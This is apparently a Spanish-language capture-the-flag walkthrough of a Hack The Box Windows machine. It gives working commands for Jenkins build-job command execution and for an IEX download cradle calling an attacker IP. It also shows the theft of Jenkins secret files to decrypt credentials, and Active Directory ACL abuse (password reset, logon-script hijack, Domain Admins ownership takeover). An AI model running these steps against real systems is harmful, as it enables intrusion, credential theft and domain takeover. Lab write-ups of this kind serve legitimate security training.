---
# System prepended metadata

title: OBJECT

---

# OBJECT

## Reconocimiento

### nmap


```
nmap -sS --min-rate 5000 -p- -Pn -n -vvv 10.10.11.132 -oG allPorts
```

![](https://i.imgur.com/JPHdr3j.png)


```
nmap --min-rate 5000 -sCV -p80,5985,8080 10.10.11.132 -oN targeted
```


![](https://i.imgur.com/oMDeKuD.png)


### web - Puerto 80


La herramienta `whatweb` detecta servidor web IIS en el puerto 80:


~~~
whatweb http://10.10.11.132/
~~~


![](https://i.imgur.com/45JphRP.png)





![](https://i.imgur.com/e2AWGPl.png)


### web - Puerto 8080


La herramienta `whatweb` detecta Jenkins en el puerto 8080:


~~~
whatweb http://10.10.11.132:8080/
~~~


![](https://i.imgur.com/DCUWgJ3.png)


Los entornos empresariales están llenos de aplicaciones desarrolladas internamente como consolas de web, u otras herramientas y dispositivos de estas consolas web. En este caso se hace referencia a las herramientas de integración continua o gestión de compilación y Jenkins es una de las herramientas de integración continua más utilizadas.


**Jenkins**


Jenkins tiene algunas vías de ser vulnerado una vez se tenga acceso a este mismo, para ello primero se procede a crear una cuenta:


![](https://i.imgur.com/aWuaUQo.png)


```
Username: awa
Full name: awa
Email: awa@awa.com
Password: awa
```


Aveces cuando se obtiene un primer acceso en Jenkins se ve un panel "Administrar configuración" en donde se puede introducir código en ruby y ejecutar comandos pero este no es el caso.

Creando un proyecto:

![](https://i.imgur.com/AtGtOrp.png)


Activando la opción de ejecución de comandos en Windows:


![](https://i.imgur.com/4Z6p6fp.png)


Introduciendo el código a ejecutar:


![](https://i.imgur.com/SqS4Xsx.png)


Pero no se logra ver la ejecución:


![](https://i.imgur.com/9zPvDAF.png)


Cuando se crea un proyecto, generalmente se ve un boton "built in" pero no sale. 


1. El proyecto se encuentra deshabilitado.
2. Puede ser un tema de permisos. 


Entonces nosotros queremos que nuestro proyecto se interprete para ejecutar los comandos que queramos.

Hay 2 formas para que se muestre la salida de los comandos:

* 1era forma

Podemos ejecutar periodicamente la tarea cada minuto:


![](https://i.imgur.com/dhOu9xH.png)


Luego de un tiempo se puede ver el proyecto en el `Build History`:


![](https://i.imgur.com/dzMoqke.png)


Y la ejecución del comando:


![](https://i.imgur.com/iZZztuE.png)


* 2da forma:


La opción Trigger permite ejecutar comandos mediante un identificador de seguridad que en este caso será myToken:


![](https://i.imgur.com/pRgdjXe.png)


Y luego realizar una petición GET a la url que nos muestran.



Generar el TOKEN_NAME del usuario `awa`:

![](https://i.imgur.com/gyKB4Ad.png)


Ahora se tiene:

```
myToken: 1187ed086325fae6f0a0a756990cc071d0
user: awa
```

Haciendo la solicitud GET:

```
curl -s -X GET "http://awa:1187ed086325fae6f0a0a756990cc071d0@10.10.11.132:8080/job/myProject/build?token=myToken" | html2text ; echo
```


![](https://i.imgur.com/kXEgqIG.png)



Ahora ejecutaremos 


```
cmd /c powershell -c "whoami"
```


![](https://i.imgur.com/BUgkc2U.png)


### Firewall


Viendo si tiene conectividad saliente:


```
cmd /c powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14/test')
```


![](https://i.imgur.com/KbYHa1p.png)




```
curl -s -X GET "http://awa:1187ed086325fae6f0a0a756990cc071d0@10.10.11.132:8080/job/myProject/build?token=myToken" | html2text ; echo
```


![](https://i.imgur.com/5V21oEt.png)



Hasta ahora se ha visto que se puede ejecutar comandos con éxito pero no se tiene una conexión saliente exitosa para entablar una revershell.

Lo que se hará es enumerar las reglas de firewall:


```
cmd /c powershell -c Get-NetFirewallRule -Direction Outbound -Action Block -Enabled True
```


![](https://i.imgur.com/mr8hiuh.png)


Podemos filtrar por aquellas reglas que permitan conexión saliente


```
cmd /c powershell -c Get-NetFirewallRule -Direction Outbound -Action Allow -Enabled True
```



![](https://i.imgur.com/bcpqHkb.png)


Una de las reglas del firewall nos muestra que permite la existencia de tráfico saliente ICMP


```
cmd /c powershell -c ping 10.10.14.14
```


```
curl -s -X GET "http://awa:1187ed086325fae6f0a0a756990cc071d0@10.10.11.132:8080/job/myProject/build?token=myToken" | html2text ; echo
```


```
tcpdump -i tun0 icmp -n
```


![](https://i.imgur.com/WrmdgMa.png)


Si queremos ver que puertos son los que se están bloqueando:


https://itluke.online/2018/11/27/how-to-display-firewall-rule-ports-with-powershell/


![](https://i.imgur.com/kZ9Dev1.png)


```
cmd /c powershell -c "Get-NetFirewallRule -Direction Outbound -Action Block -Enabled True | Format-Table -Property Name,DisplayName,DisplayGroup,@{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}},@{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Enabled,Profile,Direction,Action"
```



![](https://i.imgur.com/NrgXL09.png)




```
cmd c/ powershell -c "ls"
curl -s -X GET "http://awa:1187ed086325fae6f0a0a756990cc071d0@10.10.11.132:8080/job/myProject/build?token=myToken" | html2text ; echo
```


![](https://i.imgur.com/JsNcQOk.png)


Jenkins suele traer archivos config.xml


```
cmd /c powershell -c "ls ../../"
curl -s -X GET "http://awa:1187ed086325fae6f0a0a756990cc071d0@10.10.11.132:8080/job/myProject/build?token=myToken" | html2text ; echo
```



![](https://i.imgur.com/MMTUeiZ.png)



Aqui visualizamos un archivo config.xml pero no contiene información relevante. Dos directorios que debemos tener en cuenta dentro de JEnkins es el directorio `users` y`secrets`



![](https://i.imgur.com/fq6CDJm.png)



```
cmd /c powershell -c "ls ../../users/admin_17207690984073220035" 
```



![](https://i.imgur.com/Cfm97ef.png)




```
cmd /c powershell -c "cat ../../users/admin_17207690984073220035/config.xml" 
```


![](https://i.imgur.com/AsojL6V.png)



```
cmd /c powershell -c "ls ../../secrets"
```



![](https://i.imgur.com/w2JKktM.png)


```
cmd /c powershell -c "cat ../../secrets/master.key"
```



![](https://i.imgur.com/gX9PA5y.png)


```
cmd /c powershell -c "cat ../../secrets/hudson.util.Secret"
```

![](https://i.imgur.com/lTMELv4.png)


El archivo hudson.util.Secret es un binario. Se tiene que usar base64 y hacer el decode en nuestro equipo para obtener el archivo.


```
cmd /c powershell -c [convert]::ToBase64String((cat ../../secrets/hudson.util.Secret -Encoding byte))
```


![](https://i.imgur.com/3Zbpfxh.png)


```
echo "gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=" | base64 -d > hudson.util.Secret
```

Usando una herramienta para poder obtener la contraseña con los archivos de configuración:


![](https://i.imgur.com/GfeWblX.png)


`oliver:c1cdfun_d2434`

## Acceso

### oliver

#### crackmapexec


```
crackmapexec winrm 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434'
```



![](https://i.imgur.com/kruLR11.png)


#### evil-winrm


![](https://i.imgur.com/PZYv150.png)



#### BloodHound


Se sube el archivo `SharpHound.ps1` a la máquina víctima: 

```
upload /home/cr4y0/Desktop/HackTheBox/OBJECT/SharpHound.ps1
```

Y se importa el módulo `SharpHound.ps1`:

```
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
```


![](https://i.imgur.com/d2FeIIH.png)


Luego se usa el comprimido generado para abrirlo junto a BloodHound:


![](https://i.imgur.com/XjXQdxL.png)


La información representada en grafos nos muestra lo siguiente:


1. Oliver sobre Smith: `ForceChangePassword`

    Oliver puede cambiar la contraseña del usuario Smith

2. Smith sobre Maria: `GenericWrite`

    Retocar los atributos sobre el usuario Maria como el `serviceprincipalname` o `scriptpath`.

3. María sobre el grupo Domain Admins: `WriteOwner`

    María puede cambiar al dueño del grupo Domain Admins, en este caso asignarse a ella como dueño.
    El dueño del grupo Domain Admins puede otorgarse permisos full sobre este mismo.
    El dueño del grupo Domain Admins puede agregarse a este grupo.

#### Abusando de los ACLs/ACEs

**ForceChangePassword**


![](https://i.imgur.com/Ljv0WUJ.png)


Convertir de una cadena en texto plano a una cadena segura

```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```

Importar módulo PowerView y cambiar la contraseña del usuario smith


```
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity smith -AccountPassword $SecPassword
```

### smith

#### evil-winrm


```
evil-winrm -i 10.10.11.132 -u 'smith' -p 'Password123!'
```


![](https://i.imgur.com/GHfrk8i.png)



#### Abusando de los ACLs/ACEs - GenericWrite


![](https://i.imgur.com/UluKdYX.png)


Se puede modificar atributos del usuario corresppondiente

**Kerberoast**

Una alternativa es tratar de obtener un SPNTicket, en este caso el ticket obtenido no se puede romper por fuerza bruta


Agregando un SPN a la cuenta de maria:

```
setspn -a MSSQLSvc/object.local:1433 object.local\maria
Get-DomainUser maria | Select serviceprincipalname
```

OBS: VER SI SE PUEDE AGREGAR UN SPN DE LA SIGUIENTE FORMA

```
setspn -a <dominio>/<user>.<nombreEquipo> <domain>\<user>
```


PowerView tiene Get-DomainSPNTicket para realizar un Kerberoasting Attack:

```
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 
$cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $pass)
Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $Cred
```

El hash obtenido no se logra crackear con éxito.


**Logon script**


Se puede alterar el logon script para asignar un script de inicio de sesión a un perfil. El script se ejecutará cuando el usuario inicie sesión.

Se podría intentar entablar un revershell mediante un script pero el firewall no permite conexiones salientes. 

Se crea el script `test1.ps1` que se ejecutará en cada inicio de sesión:

```
echo 'dir C:\Users\Maria\Desktop\ > C:\Temp\BH\output.txt' > test1.ps1
```

Este script mostrará el directorio del usuario `maria` en el archivo `output.txt`.


Se modifica el atributo `scriptpath` del usuario `maria` gracias al módulo de `PowerView`:

```
Import-Module .\PowerView.ps1
Set-DomainObject -Identity maria -SET @{scriptpath='C:\Temp\BH\test1.ps1'}
```

Obs: El parámetro `-Credential` no es necesario ya que estamos conectados como `smith`.

![](https://i.imgur.com/4S4FrgS.png)


Y se visualiza el archivo `Engines.xls`, el cual se copia siguiendo el procedimiento anterior:


```
echo 'copy C:\Users\Maria\Desktop\Engines.xls C:\Temp\BH\Engines.xls' > test1.ps1
copy C:\Users\Maria\Desktop\Engines.xls C:\Temp\BH\Engines.xl
Set-DomainObject -Identity maria -SET @{scriptpath='C:\Temp\BH\test1.ps1'}
```


![](https://i.imgur.com/qoCdCiU.png)


Se visualiza el archivo `Engines.xls` el cual contiene credenciales:


```
libreoffice Engines.xls
```


![](https://i.imgur.com/dRj3yRM.png)


### maria

#### evil-winrm



#### Abusando de los ACLs/ACEs - WriteOwner


![](https://i.imgur.com/1kPGNbW.png)


![](https://i.imgur.com/f2322T6.png)



Asignando a Maria como dueña del grupo Domain Admins:

```
Import-Module .\PowerView.ps1
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity Maria
```

Se podrá asignar a otro dueño?

Maria como propietaria asigna permisos full al usuario Maria sobre Domain Admins:

```
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All -PrincipalIdentity Maria
```

Agregando al usuario Maria al grupo Domain Admins:

```
net group "Domain Admins" Maria /add /domain
```


![](https://i.imgur.com/K6QbtOB.png)


Una vez agregada Maria al grupo `Domain Admins` puede visualizar el root.txt



![](https://i.imgur.com/3WgfNgS.png)























